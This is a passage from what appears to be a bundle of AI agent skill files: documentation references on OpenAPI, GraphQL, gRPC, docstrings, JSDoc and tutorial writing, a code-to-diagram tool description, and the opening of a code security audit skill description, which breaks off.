[id, email]\n      properties:\n        id:\n          type: string\n          format: uuid\n          example: \"123e4567-e89b-12d3-a456-426614174000\"\n        email:\n          type: string\n          format: email\n          example: \"user@example.com\"\n\n    Error:\n      type: object\n      properties:\n        code:\n          type: string\n        message:\n          type: string\n        details:\n          type: object\n\n    PaginatedResponse:\n      type: object\n      properties:\n        data:\n          type: array\n          items: {}\n        total:\n          type: integer\n        page:\n          type: integer\n\n  # Reusable parameters\n  parameters:\n    PageParam:\n      name: page\n      in: query\n      schema:\n        type: integer\n        default: 1\n        minimum: 1\n\n    LimitParam:\n      name: limit\n      in: query\n      schema:\n        type: integer\n        default: 20\n        minimum: 1\n        maximum: 100\n\n  # Security schemes\n  securitySchemes:\n    BearerAuth:\n      type: http\n      scheme: bearer\n      bearerFormat: JWT\n\n    ApiKeyAuth:\n      type: apiKey\n      in: header\n      name: X-API-Key\n\n    OAuth2:\n      type: oauth2\n      flows:\n        authorizationCode:\n          authorizationUrl: https://api.example.com/oauth/authorize\n          tokenUrl: https://api.example.com/oauth/token\n          scopes:\n            read:users: Read user data\n            write:users: Modify user data\n\n  # Reusable responses\n  responses:\n    NotFound:\n      description: Resource not found\n      content:\n        application/json:\n          schema:\n            $ref: \"#/components/schemas/Error\"\n\n    Unauthorized:\n      description: Authentication required\n      content:\n        application/json:\n          schema:\n            $ref: \"#/components/schemas/Error\"\n\npaths:\n  /users:\n    get:\n      summary: List users\n      parameters:\n        - $ref: \"#/components/parameters/PageParam\"\n        - $ref: \"#/components/parameters/LimitParam\"\n      security:\n        - BearerAuth: []\n      responses:\n        \"200\":\n          description: Success\n          content:\n            application/json:\n              schema:\n                allOf:\n                  - $ref: \"#/components/schemas/PaginatedResponse\"\n                  - type: object\n                    properties:\n                      data:\n                        type: array\n                        items:\n                          $ref: \"#/components/schemas/User\"\n```\n\n## Interactive Documentation Portals\n\n### Swagger UI Customization\n\n```javascript\n// Custom Swagger UI\nconst swaggerUi = require(\"swagger-ui-express\")\nconst swaggerDocument = require(\"./openapi.json\")\n\nconst options = {\n  customCss: \".swagger-ui .topbar { display: none }\",\n  customSiteTitle: \"API Docs\",\n  customfavIcon: \"/favicon.ico\",\n  swaggerOptions: {\n    persistAuthorization: true,\n    displayRequestDuration: true,\n    filter: true,\n    tryItOutEnabled: true,\n    requestInterceptor: (req) => {\n      req.headers[\"X-Custom-Header\"] = \"value\"\n      return req\n    },\n  },\n}\n\napp.use(\"/api-docs\", swaggerUi.serve, swaggerUi.setup(swaggerDocument, options))\n```\n\n### Redoc (Modern Alternative)\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>API Documentation</title>\n    <link\n      href=\"https://fonts.googleapis.com/css?family=Montserrat:300,400,700|Roboto:300,400,700\"\n      rel=\"stylesheet\"\n    />\n  </head>\n  <body>\n    <redoc\n      spec-url=\"./openapi.yaml\"\n      hide-download-button\n      required-props-first\n      native-scrollbars\n      theme='{\n      \"colors\": {\n        \"primary\": {\n          \"main\": \"#4285F4\"\n        }\n      },\n      \"typography\": {\n        \"fontSize\": \"16px\",\n        \"fontFamily\": \"Roboto, sans-serif\"\n      }\n    }'\n    >\n    </redoc>\n    <script src=\"https://cdn.redoc.ly/redoc/latest/bundles/redoc.standalone.js\"></script>\n  </body>\n</html>\n```\n\n### Stoplight Elements\n\n```javascript\nimport { API } from \"@stoplight/elements\"\nimport \"@stoplight/elements/styles.min.css\"\n\nfunction App() {\n  return (\n    <API\n      apiDescriptionUrl=\"./openapi.yaml\"\n      router=\"hash\"\n      layout=\"sidebar\"\n      tryItCredentialsPolicy=\"include\"\n    />\n  )\n}\n```\n\n## Multi-Protocol Documentation\n\n### GraphQL Schema Documentation\n\n```graphql\n\"\"\"\nUser account in the system\n\"\"\"\ntype User {\n  \"\"\"\n  Unique user identifier\n  \"\"\"\n  id: ID!\n\n  \"\"\"\n  User's email address (unique)\n  @example \"user@example.com\"\n  \"\"\"\n  email: String!\n\n  \"\"\"\n  Display name\n  @example \"John Doe\"\n  \"\"\"\n  name: String!\n\n  \"\"\"\n  User's posts (paginated)\n  \"\"\"\n  posts(\n    \"\"\"\n    Number of items per page (max 100)\n    \"\"\"\n    limit: Int = 20\n    \"\"\"\n    Page offset\n    \"\"\"\n    offset: Int = 0\n  ): PostConnection!\n}\n\ntype Query {\n  \"\"\"\n  Fetch a user by ID\n  \"\"\"\n  user(\n    \"\"\"\n    User's unique identifier\n    \"\"\"\n    id: ID!\n  ): User\n\n  \"\"\"\n  Search users by name or email\n  \"\"\"\n  searchUsers(\n    \"\"\"\n    Search query\n    \"\"\"\n    query: String!\n    \"\"\"\n    Maximum results to return\n    \"\"\"\n    limit: Int = 10\n  ): [User!]!\n}\n\ntype Mutation {\n  \"\"\"\n  Create a new user account\n  \"\"\"\n  createUser(\n    \"\"\"\n    User creation input\n    \"\"\"\n    input: CreateUserInput!\n  ): CreateUserPayload!\n}\n\n\"\"\"\nInput for creating a user\n\"\"\"\ninput CreateUserInput {\n  \"\"\"\n  User's email address\n  \"\"\"\n  email: String!\n  \"\"\"\n  Display name\n  \"\"\"\n  name: String!\n}\n```\n\n**GraphQL Playground:**\n\n```javascript\nconst { ApolloServer } = require(\"apollo-server\")\n\nconst server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: true, // Enable in dev\n  playground: {\n    settings: {\n      \"editor.theme\": \"dark\",\n      \"editor.fontSize\": 14,\n    },\n  },\n})\n```\n\n### WebSocket Protocol Documentation\n\n```yaml\n# AsyncAPI 2.0\nasyncapi: 2.5.0\ninfo:\n  title: Chat WebSocket API\n  version: 1.0.0\n  description: Real-time chat messaging\n\nchannels:\n  chat/{roomId}:\n    parameters:\n      roomId:\n        description: Chat room identifier\n        schema:\n          type: string\n\n    subscribe:\n      summary: Receive messages\n      message:\n        oneOf:\n          - $ref: \"#/components/messages/ChatMessage\"\n          - $ref: \"#/components/messages/UserJoined\"\n\n    publish:\n      summary: Send a message\n      message:\n        $ref: \"#/components/messages/ChatMessage\"\n\ncomponents:\n  messages:\n    ChatMessage:\n      name: message\n      payload:\n        type: object\n        properties:\n          userId:\n            type: string\n          content:\n            type: string\n          timestamp:\n            type: string\n            format: date-time\n\n    UserJoined:\n      name: userJoined\n      payload:\n        type: object\n        properties:\n          userId:\n            type: string\n          username:\n            type: string\n```\n\n### gRPC Documentation\n\n```protobuf\nsyntax = \"proto3\";\n\npackage users.v1;\n\n// User service manages user accounts\nservice UserService {\n  // Get a user by ID\n  // Returns: User object or NOT_FOUND error\n  rpc GetUser(GetUserRequest) returns (User) {}\n\n  // List all users with pagination\n  // Returns: Paginated list of users\n  rpc ListUsers(ListUsersRequest) returns (ListUsersResponse) {}\n\n  // Create a new user\n  // Returns: Created user or ALREADY_EXISTS error\n  rpc CreateUser(CreateUserRequest) returns (User) {}\n\n  // Stream user updates in real-time\n  // Returns: Stream of user update events\n  rpc WatchUsers(WatchUsersRequest) returns (stream UserEvent) {}\n}\n\n// User account\nmessage User {\n  // Unique identifier\n  string id = 1;\n\n  // Email address (unique, required)\n  string email = 2;\n\n  // Display name\n  string name = 3;\n\n  // Account creation timestamp\n  google.protobuf.Timestamp created_at = 4;\n}\n```\n\n## SDK Documentation Strategies\n\n### Multi-Language Examples\n\n````markdown\n# Create User\n\n## Python\n\n```python\nfrom myapi import Client\n\nclient = Client(api_key=\"your_key\")\nuser = client.users.create(\n    name=\"John Doe\",\n    email=\"john@example.com\"\n)\nprint(user.id)\n```\n````\n\n## TypeScript\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: \"your_key\" })\nconst user = await client.users.create({\n  name: \"John Doe\",\n  email: \"john@example.com\",\n})\nconsole.log(user.id)\n```\n\n## Go\n\n```go\nimport \"github.com/myapi/sdk-go\"\n\nclient := sdk.NewClient(\"your_key\")\nuser, err := client.Users.Create(ctx, &sdk.CreateUserInput{\n    Name:  \"John Doe\",\n    Email: \"john@example.com\",\n})\nif err != nil {\n    log.Fatal(err)\n}\nfmt.Println(user.ID)\n```\n\n## Ruby\n\n```ruby\nrequire 'myapi'\n\nclient = MyAPI::Client.new(api_key: 'your_key')\nuser = client.users.create(\n  name: 'John Doe',\n  email: 'john@example.com'\n)\nputs user.id\n```\n\n````\n\n### SDK Reference Template\n\n```markdown\n# Users SDK\n\n## Installation\n```bash\nnpm install @myapi/sdk\n````\n\n## Configuration\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({\n  apiKey: process.env.API_KEY,\n  baseUrl: \"https://api.example.com\", // Optional\n  timeout: 30000, // Optional, default 30s\n})\n```\n\n## Methods\n\n### `client.users.create(data)`\n\nCreate a new user.\n\n**Parameters:**\n\n- `data.name` (string, required) - User's display name\n- `data.email` (string, required) - User's email address\n\n**Returns:** Promise<User>\n\n**Throws:**\n\n- `ValidationError` - Invalid input data\n- `ConflictError` - Email already exists\n- `AuthenticationError` - Invalid API key\n\n**Example:**\n\n```typescript\nconst user = await client.users.create({\n  name: \"John Doe\",\n  email: \"john@example.com\",\n})\n```\n\n## Error Handling\n\n```typescript\nimport { ValidationError, ConflictError } from \"@myapi/sdk\"\n\ntry {\n  await client.users.create(data)\n} catch (error) {\n  if (error instanceof ValidationError) {\n    console.error(\"Invalid data:\", error.fields)\n  } else if (error instanceof ConflictError) {\n    console.error(\"User already exists\")\n  }\n}\n```\n\n```\n\n## Quick Reference\n\n| Tool | Protocol | Features |\n|------|----------|----------|\n| Swagger UI | REST | Try-it-out, auth |\n| Redoc | REST | Clean, responsive |\n| Stoplight | REST | Modern, mock server |\n| GraphQL Playground | GraphQL | Explorer, history |\n| AsyncAPI Studio | WebSocket | Visual editor |\n| grpcui | gRPC | Interactive console |\n```\n","skills/code-documenter/references/python-docstrings.md":"# Python Docstrings\n\n## Google Style (Recommended)\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"Calculate total cost including tax.\n\n    Args:\n        items: List of items to calculate total for.\n        tax_rate: Tax rate as decimal (e.g., 0.08 for 8%).\n\n    Returns:\n        Total cost including tax.\n\n    Raises:\n        ValueError: If tax_rate is negative or items is empty.\n\n    Example:\n        >>> calculate_total([Item(10), Item(20)], 0.1)\n        33.0\n    \"\"\"\n```\n\n## NumPy Style\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"\n    Calculate total cost including tax.\n\n    Parameters\n    ----------\n    items : list[Item]\n        List of items to calculate total for.\n    tax_rate : float, optional\n        Tax rate as decimal (e.g., 0.08 for 8%). Default is 0.0.\n\n    Returns\n    -------\n    float\n        Total cost including tax.\n\n    Raises\n    ------\n    ValueError\n        If tax_rate is negative or items is empty.\n\n    Examples\n    --------\n    >>> calculate_total([Item(10), Item(20)], 0.1)\n    33.0\n    \"\"\"\n```\n\n## Sphinx Style\n\n```python\ndef calculate_total(items: list[Item], tax_rate: float = 0.0) -> float:\n    \"\"\"Calculate total cost including tax.\n\n    :param items: List of items to calculate total for.\n    :type items: list[Item]\n    :param tax_rate: Tax rate as decimal (e.g., 0.08 for 8%).\n    :type tax_rate: float\n    :returns: Total cost including tax.\n    :rtype: float\n    :raises ValueError: If tax_rate is negative or items is empty.\n\n    .. code-block:: python\n\n        >>> calculate_total([Item(10), Item(20)], 0.1)\n        33.0\n    \"\"\"\n```\n\n## Class Documentation\n\n```python\nclass UserService:\n    \"\"\"Service for managing user operations.\n\n    This service handles CRUD operations for users and\n    integrates with the authentication system.\n\n    Attributes:\n        db: Database session for queries.\n        cache: Redis client for caching.\n\n    Example:\n        >>> service = UserService(db, cache)\n        >>> user = await service.create_user(data)\n    \"\"\"\n\n    def __init__(self, db: AsyncSession, cache: Redis) -> None:\n        \"\"\"Initialize UserService.\n\n        Args:\n            db: Database session for queries.\n            cache: Redis client for caching.\n        \"\"\"\n```\n\n## Quick Reference\n\n| Style  | Args Format          | Returns Format    |\n| ------ | -------------------- | ----------------- |\n| Google | `Args:` block        | `Returns:` block  |\n| NumPy  | `Parameters` section | `Returns` section |\n| Sphinx | `:param name:`       | `:returns:`       |\n\n## Sections Available\n\n| Section    | Google        | NumPy        | Sphinx            |\n| ---------- | ------------- | ------------ | ----------------- |\n| Parameters | `Args:`       | `Parameters` | `:param:`         |\n| Returns    | `Returns:`    | `Returns`    | `:returns:`       |\n| Raises     | `Raises:`     | `Raises`     | `:raises:`        |\n| Examples   | `Example:`    | `Examples`   | `.. code-block::` |\n| Notes      | `Note:`       | `Notes`      | `.. note::`       |\n| Attributes | `Attributes:` | `Attributes` | `:ivar:`          |\n","skills/code-documenter/references/typescript-jsdoc.md":"# TypeScript JSDoc\n\n## Function Documentation\n\n````typescript\n/**\n * Calculate total cost including tax.\n *\n * @param items - List of items to calculate total for\n * @param taxRate - Tax rate as decimal (e.g., 0.08 for 8%)\n * @returns Total cost including tax\n * @throws {Error} If taxRate is negative or items is empty\n *\n * @example\n * ```typescript\n * const total = calculateTotal(items, 0.08);\n * console.log(total); // 108.00\n * ```\n */\nfunction calculateTotal(items: Item[], taxRate = 0): number {\n````\n\n## Class Documentation\n\n````typescript\n/**\n * Service for managing user operations.\n *\n * Handles CRUD operations and integrates with authentication system.\n *\n * @example\n * ```typescript\n * const service = new UserService(db, cache);\n * const user = await service.create(userData);\n * ```\n */\nclass UserService {\n  /**\n   * Create a new UserService instance.\n   *\n   * @param db - Database connection\n   * @param cache - Redis cache client\n   */\n  constructor(\n    private readonly db: Database,\n    private readonly cache: Cache\n  ) {}\n}\n````\n\n## Interface Documentation\n\n```typescript\n/**\n * User data transfer object.\n *\n * @interface UserDto\n */\ninterface UserDto {\n  /** Unique user identifier */\n  id: string\n\n  /** User's email address (unique) */\n  email: string\n\n  /** User's display name */\n  name: string\n\n  /** Account creation timestamp */\n  createdAt: Date\n}\n```\n\n## Generic Types\n\n```typescript\n/**\n * Paginated response wrapper.\n *\n * @template T - Type of items in the data array\n */\ninterface PaginatedResponse<T> {\n  /** Array of items for current page */\n  data: T[]\n\n  /** Total number of items across all pages */\n  total: number\n\n  /** Current page number (1-indexed) */\n  page: number\n\n  /** Number of items per page */\n  limit: number\n}\n```\n\n## Async Functions\n\n```typescript\n/**\n * Fetch user by ID from database.\n *\n * @param id - User's unique identifier\n * @returns Promise resolving to user data or null if not found\n * @throws {DatabaseError} If connection fails\n *\n * @async\n */\nasync function findUserById(id: string): Promise<User | null> {\n```\n\n## Quick Reference\n\n| Tag           | Purpose               | Example                      |\n| ------------- | --------------------- | ---------------------------- |\n| `@param`      | Parameter description | `@param name - User's name`  |\n| `@returns`    | Return value          | `@returns User object`       |\n| `@throws`     | Exception thrown      | `@throws {Error} If invalid` |\n| `@example`    | Usage example         | Code block                   |\n| `@see`        | Reference link        | `@see UserService`           |\n| `@deprecated` | Mark deprecated       | `@deprecated Use v2 instead` |\n| `@template`   | Generic type param    | `@template T - Item type`    |\n| `@async`      | Async function        | Mark async                   |\n| `@private`    | Private member        | Internal use                 |\n| `@readonly`   | Read-only property    | Cannot modify                |\n\n## Common Patterns\n\n```typescript\n// Optional parameters\n/** @param [options] - Optional configuration */\n\n// Default values\n/** @param [limit=10] - Items per page (default: 10) */\n\n// Multiple types\n/** @param input - Input value (string or number) */\n\n// Callback parameters\n/**\n * @callback FilterFn\n * @param item - Item to filter\n * @returns Whether item passes filter\n */\n```\n","skills/code-documenter/references/user-guides-tutorials.md":"# User Guides & Tutorials\n\n## Tutorial Structure\n\n### Progressive Learning Path\n\n````markdown\n# Getting Started with API\n\n## Prerequisites\n\nBefore you begin, ensure you have:\n\n- [ ] Node.js 18+ installed\n- [ ] An API key from your dashboard\n- [ ] Basic knowledge of REST APIs\n\n## Quick Start (5 minutes)\n\n### 1. Install the SDK\n\n```bash\nnpm install @myapi/sdk\n```\n````\n\n### 2. Create Your First Request\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: \"your_key\" })\nconst users = await client.users.list()\nconsole.log(users)\n```\n\n### 3. Verify It Works\n\nRun the code and you should see a list of users.\n\n**Expected output:**\n\n```json\n{\n  \"data\": [\n    { \"id\": \"1\", \"name\": \"Alice\" },\n    { \"id\": \"2\", \"name\": \"Bob\" }\n  ],\n  \"total\": 2\n}\n```\n\n## Next Steps\n\n- [Authentication Guide](/docs/auth) - Learn about OAuth and API keys\n- [Advanced Queries](/docs/queries) - Filtering, sorting, pagination\n- [Error Handling](/docs/errors) - Handle errors gracefully\n\n````\n\n### Step-by-Step Tutorial\n\n```markdown\n# Tutorial: Building a User Dashboard\n\n**What you'll learn:**\n- Fetching user data from the API\n- Handling pagination\n- Displaying data in a table\n- Adding real-time updates\n\n**Time:** 30 minutes\n**Level:** Intermediate\n\n## Step 1: Set Up the Project\n\nCreate a new project:\n```bash\nmkdir user-dashboard\ncd user-dashboard\nnpm init -y\nnpm install @myapi/sdk react\n````\n\n## Step 2: Fetch Users\n\nCreate `src/api/users.ts`:\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: process.env.API_KEY })\n\nexport async function getUsers(page = 1, limit = 20) {\n  const response = await client.users.list({ page, limit })\n  return response\n}\n```\n\n**What's happening:**\n\n1. We import the SDK client\n2. Initialize it with our API key from environment\n3. Create a helper function that fetches paginated users\n\n## Step 3: Create the Component\n\nCreate `src/components/UserTable.tsx`:\n\n```typescript\nimport { useState, useEffect } from 'react';\nimport { getUsers } from '../api/users';\n\nexport function UserTable() {\n  const [users, setUsers] = useState([]);\n  const [loading, setLoading] = useState(true);\n\n  useEffect(() => {\n    async function fetchData() {\n      const data = await getUsers();\n      setUsers(data.data);\n      setLoading(false);\n    }\n    fetchData();\n  }, []);\n\n  if (loading) return <div>Loading...</div>;\n\n  return (\n    <table>\n      <thead>\n        <tr>\n          <th>Name</th>\n          <th>Email</th>\n        </tr>\n      </thead>\n      <tbody>\n        {users.map(user => (\n          <tr key={user.id}>\n            <td>{user.name}</td>\n            <td>{user.email}</td>\n          </tr>\n        ))}\n      </tbody>\n    </table>\n  );\n}\n```\n\n## Step 4: Test It\n\nRun your app:\n\n```bash\nnpm run dev\n```\n\nYou should see a table with user data.\n\n## Checkpoint\n\nAt this point, you have:\n\n- [x] Set up the SDK\n- [x] Created an API helper\n- [x] Built a user table component\n- [ ] Added pagination\n- [ ] Added real-time updates\n\n## Next: Adding Pagination\n\n[Continue to Step 5 →](/docs/tutorial/step-5)\n\n````\n\n## Information Architecture\n\n### Content Hierarchy\n\n```markdown\nDocumentation/\n├── Getting Started/\n│   ├── Quick Start (5 min)\n│   ├── Installation\n│   ├── Authentication\n│   └── First Request\n│\n├── Guides/\n│   ├── User Management\n│   ├── File Uploads\n│   ├── Webhooks\n│   └── Rate Limiting\n│\n├── API Reference/\n│   ├── Users API\n│   ├── Files API\n│   └── Webhooks API\n│\n├── SDK Documentation/\n│   ├── Python SDK\n│   ├── TypeScript SDK\n│   └── Go SDK\n│\n├── Tutorials/\n│   ├── Build a Dashboard (30 min)\n│   ├── Integrate Authentication (45 min)\n│   └── Real-time Sync (60 min)\n│\n└── Resources/\n    ├── Troubleshooting\n    ├── FAQ\n    ├── Best Practices\n    └── Migration Guides\n````\n\n## Writing Techniques\n\n### Task-Based Writing\n\n````markdown\n# How to Upload a File\n\n**Goal:** Upload an image file to your account storage\n\n**Time:** 5 minutes\n\n## Steps\n\n### 1. Prepare the file\n\nGet the file from user input or file system:\n\n```typescript\nconst file = document.querySelector('input[type=\"file\"]').files[0]\n```\n````\n\n### 2. Create form data\n\n```typescript\nconst formData = new FormData()\nformData.append(\"file\", file)\nformData.append(\"folder\", \"avatars\")\n```\n\n### 3. Upload with the SDK\n\n```typescript\nconst result = await client.files.upload(formData)\nconsole.log(\"File URL:\", result.url)\n```\n\n## Common Issues\n\n**\"File too large\" error:**\nMaximum file size is 10MB. Compress images before uploading.\n\n**\"Invalid file type\" error:**\nOnly .jpg, .png, .gif are allowed. Check the file extension.\n\n## Related\n\n- [File API Reference](/api/files)\n- [Handling Upload Progress](/guides/upload-progress)\n\n````\n\n### Progressive Disclosure\n\n```markdown\n# Authentication\n\n## Basic: API Keys (Recommended for Getting Started)\n\nAPI keys are the simplest way to authenticate.\n\n```typescript\nconst client = new Client({ apiKey: 'your_key' });\n````\n\n**When to use:** Scripts, internal tools, testing\n\n[Generate an API key →](/dashboard/api-keys)\n\n<details>\n<summary>Advanced: OAuth 2.0</summary>\n\nFor user-facing applications, use OAuth 2.0.\n\n### Authorization Code Flow\n\n1. Redirect user to authorization URL:\n\n```typescript\nconst authUrl = client.oauth.getAuthUrl({\n  redirectUri: \"https://yourapp.com/callback\",\n  scopes: [\"read:users\", \"write:users\"],\n})\nwindow.location.href = authUrl\n```\n\n2. Handle the callback:\n\n```typescript\nconst code = new URLSearchParams(window.location.search).get(\"code\")\nconst tokens = await client.oauth.exchangeCode(code)\n```\n\n3. Use the access token:\n\n```typescript\nconst client = new Client({ accessToken: tokens.access_token })\n```\n\n[Full OAuth guide →](/guides/oauth)\n\n</details>\n\n<details>\n<summary>Enterprise: JWT Tokens</summary>\n\nFor service-to-service authentication, use JWTs.\n\n```typescript\nconst jwt = createJWT({\n  issuer: \"your-service\",\n  subject: \"service-account-id\",\n  privateKey: process.env.PRIVATE_KEY,\n})\n\nconst client = new Client({ jwt })\n```\n\n[JWT setup guide →](/guides/jwt)\n\n</details>\n```\n\n## Visual Communication\n\n### Diagram Integration\n\n````markdown\n# System Architecture\n\n## Request Flow\n\n```mermaid\nsequenceDiagram\n    participant Client\n    participant API\n    participant Database\n    participant Cache\n\n    Client->>API: POST /users\n    API->>Cache: Check cache\n    Cache-->>API: Cache miss\n    API->>Database: Insert user\n    Database-->>API: User created\n    API->>Cache: Store user\n    API-->>Client: 201 Created\n```\n````\n\n## Data Model\n\n```mermaid\nerDiagram\n    USER ||--o{ POST : creates\n    USER ||--o{ COMMENT : writes\n    POST ||--o{ COMMENT : has\n\n    USER {\n        string id PK\n        string email UK\n        string name\n        datetime created_at\n    }\n\n    POST {\n        string id PK\n        string user_id FK\n        string title\n        text content\n    }\n```\n\n````\n\n### Screenshot Annotations\n\n```markdown\n# Dashboard Overview\n\n![Dashboard with numbered annotations](./images/dashboard-annotated.png)\n\n**Key features:**\n\n1. **Navigation** - Switch between sections\n2. **API Key** - Copy your key (click to reveal)\n3. **Usage Stats** - Current month's API calls\n4. **Quick Actions** - Generate new key, view docs\n5. **Recent Activity** - Last 10 API requests\n\n## Creating Your First API Key\n\n1. Click \"Generate New Key\" (highlighted in green)\n2. Enter a description like \"Production API\"\n3. Select permissions (default: all)\n4. Click \"Create\"\n5. **Important:** Copy the key immediately - it won't be shown again\n\n![Create API key dialog](./images/create-key.png)\n````\n\n## Troubleshooting Guides\n\n### Problem-Solution Format\n\n````markdown\n# Troubleshooting\n\n## Authentication Errors\n\n### \"Invalid API key\"\n\n**Symptoms:**\n\n- 401 Unauthorized error\n- Error message: \"Invalid API key\"\n\n**Causes:**\n\n1. API key was copied incorrectly (extra spaces)\n2. API key was revoked\n3. Using test key in production environment\n\n**Solutions:**\n\n**1. Verify the key:**\n\n```bash\n# Check for extra spaces\necho -n \"$API_KEY\" | wc -c  # Should be exactly 32 characters\n```\n````\n\n**2. Regenerate the key:**\n\n- Go to [dashboard](/dashboard)\n- Click \"Revoke & Regenerate\"\n- Update your environment variables\n\n**3. Check environment:**\n\n```typescript\nconsole.log(\"Environment:\", process.env.NODE_ENV)\nconsole.log(\"API URL:\", client.baseUrl)\n```\n\n**Still not working?**\n[Contact support](/support) with your request ID from the error response.\n\n---\n\n### \"Rate limit exceeded\"\n\n**Symptoms:**\n\n- 429 Too Many Requests error\n- Requests failing intermittently\n\n**Immediate fix:**\nWait 60 seconds and retry.\n\n**Long-term solutions:**\n\n**1. Implement exponential backoff:**\n\n```typescript\nasync function retryWithBackoff(fn, maxRetries = 3) {\n  for (let i = 0; i < maxRetries; i++) {\n    try {\n      return await fn()\n    } catch (error) {\n      if (error.status === 429 && i < maxRetries - 1) {\n        await sleep(Math.pow(2, i) * 1000)\n        continue\n      }\n      throw error\n    }\n  }\n}\n```\n\n**2. Batch requests:**\nInstead of 100 individual requests, use batch endpoints.\n\n**3. Upgrade your plan:**\n[View plans](/pricing) - Higher tiers have increased limits.\n\n````\n\n## FAQ Section\n\n```markdown\n# Frequently Asked Questions\n\n## General\n\n### What's included in the free tier?\n- 1,000 API requests/month\n- 1GB storage\n- Community support\n- All core features\n\n### How do I upgrade?\nClick \"Upgrade\" in your [dashboard](/dashboard) and select a plan.\n\n## Technical\n\n### Can I use this in production?\nYes, the API is production-ready with 99.9% SLA on paid plans.\n\n### What's the rate limit?\n- Free: 10 requests/minute\n- Pro: 100 requests/minute\n- Enterprise: Custom limits\n\n### Do you support webhooks?\nYes! See [Webhooks Guide](/guides/webhooks) for setup.\n\n### Which regions are available?\nCurrently: US East, US West, EU Central, Asia Pacific.\n\n## Billing\n\n### How does billing work?\n- Monthly subscription\n- Pay-as-you-go for overages\n- Cancel anytime\n\n### What payment methods do you accept?\nCredit card, PayPal, wire transfer (annual plans only).\n\n---\n\n**Can't find your answer?**\n- [Browse all docs](/docs)\n- [Ask the community](https://community.example.com)\n- [Contact support](/support)\n````\n\n## Quick Reference\n\n| Content Type | Best For               | Key Elements                        |\n| ------------ | ---------------------- | ----------------------------------- |\n| Quick Start  | New users (5 min)      | Prerequisites, minimal code, verify |\n| Tutorial     | Learning by doing      | Steps, checkpoints, working code    |\n| How-To Guide | Specific tasks         | Goal, steps, troubleshooting        |\n| Reference    | Looking up details     | Comprehensive, searchable           |\n| Explanation  | Understanding concepts | Why, not how                        |\n\n| Writing Principle | Technique                                |\n| ----------------- | ---------------------------------------- |\n| Clarity           | Active voice, short sentences            |\n| Scannability      | Headings, lists, code blocks             |\n| Completeness      | Prerequisites, next steps, related links |\n| Accuracy          | Test all code, version specifics         |\n","skills/code-to-diagram/SKILL.md":"---\nname: code-to-diagram\ndescription: \"Analyze codebases and automatically generate architecture diagrams, flowcharts, and org charts. Uses AST parsing to map import dependencies for Python, JS/TS, Go, and Java, outputting Mermaid or SVG files. Triggered when users ask to visualize code architecture, understand dependencies, draw a flowchart, or create a module diagram from source code.\"\nlicense: MIT\ntype: tool\ntags: [\"visualization\", \"architecture\", \"mermaid\", \"ast\", \"diagram\"]\n---\n\n# Code to Diagram\n\nExtract import and dependency relationships from a codebase via AST parsing, and automatically generate three types of diagrams:\n\n1. **Architecture Diagram** — Module/directory-level dependency relationships\n2. **Flowchart** — File-level import call chains\n3. **Org Chart** — Directory/file hierarchy structure\n\nSupported languages: Python, JavaScript, TypeScript, Go, Java\n\nOutput formats: Mermaid text (`.mmd`) or SVG images (requires `mmdc` installed on the system)\n\n## Usage\n\n### Basic: Analyze an Entire Project\n\n```bash\npython3 scripts/analyze_codebase.py /path/to/project\n```\n\nOutputs three Mermaid diagrams to stdout and writes `.mmd` files to the current directory.\n\n### Specify Diagram Type\n\n```bash\n# Architecture diagram only\npython3 scripts/analyze_codebase.py /path/to/project --type architecture\n\n# Flowchart only\npython3 scripts/analyze_codebase.py /path/to/project --type flowchart\n\n# Org chart only\npython3 scripts/analyze_codebase.py /path/to/project --type org\n```\n\n### Specify Output Directory and Format\n\n```bash\n# Output to a specific directory\npython3 scripts/analyze_codebase.py /path/to/project --output /tmp/diagrams\n\n# Output as SVG (requires mmdc)\npython3 scripts/analyze_codebase.py /path/to/project --format svg\n\n# Output both Mermaid and SVG\npython3 scripts/analyze_codebase.py /path/to/project --format both\n```\n\n### Output JSON Analysis Results\n\n```bash\npython3 scripts/analyze_codebase.py /path/to/project --json\n```\n\n### Parameters\n\n| Parameter | Description |\n|-----------|-------------|\n| `directory` | Code directory to analyze (required) |\n| `--type, -t` | Diagram type: `architecture`, `flowchart`, `org`, `all` (default: `all`) |\n| `--output, -o` | Output directory (default: current directory) |\n| `--format, -f` | Output format: `mermaid`, `svg`, `both` (default: `mermaid`) |\n| `--max-files` | Maximum number of files to scan (default: 500) |\n| `--max-depth` | Maximum depth for org chart (default: 4) |\n| `--json` | Output analysis results in JSON format |\n\n## How It Works\n\n1. **Scan phase**: Recursively traverse the directory, skipping `node_modules`, `.git`, `__pycache__`, etc.\n2. **Parse phase**:\n   - Python files: uses the `ast` module to parse `import` and `from ... import` statements\n   - JS/TS files: uses regex to match `import`, `require`, and `export from`\n   - Go files: uses regex to match `import` statements\n   - Java files: uses regex to match `import` statements\n3. **Resolve internal dependencies**: Maps import paths to actual files within the project\n4. **Generate diagrams**: Converts dependency relationships into Mermaid diagram syntax\n5. **Render (optional)**: Calls `mmdc` (Mermaid CLI) to render `.mmd` files as SVG\n\n## Use Cases\n\n- Quickly understand the module structure of an unfamiliar project\n- Visualize dependencies during code review\n- Create architecture diagrams for technical documentation\n- Detect circular dependencies or excessive coupling\n- Analyze project structure before refactoring\n\n## Dependencies\n\n- Python 3.7+ (standard library only, no extra packages needed)\n- SVG output requires `@mermaid-js/mermaid-cli` (optional)\n\n## Notes\n\n- Only analyzes static import relationships; dynamic imports are not tracked\n- For large projects, use `--max-files` to limit the scan scope\n- Mermaid diagrams with too many nodes may be hard to render; use `--type` to generate diagrams separately\n","skills/code-vuln-audit/SKILL.md":"---\nname: code-vuln-audit\ndescription: \"Scan code for security issues: dependency vulnerabilities (npm/pip audit), secret leaks (regex and entropy analysis), and OWASP anti-patterns like SQL injection, XSS, or command injection. Use when the user mentions security scans, vulnerability detection, secret leaks, API keys, OWASP, npm audit, pip-audit, hardcoded passwords, or code security checks.\"\nlicense: MIT\n---\n\n# code-vuln-audit\n\nA code security scanning tool with three core scanning capabilities:\n\n1. **Dependency Vulnerability Scanning** — Automatically detects known vulnerabilities in npm / pip 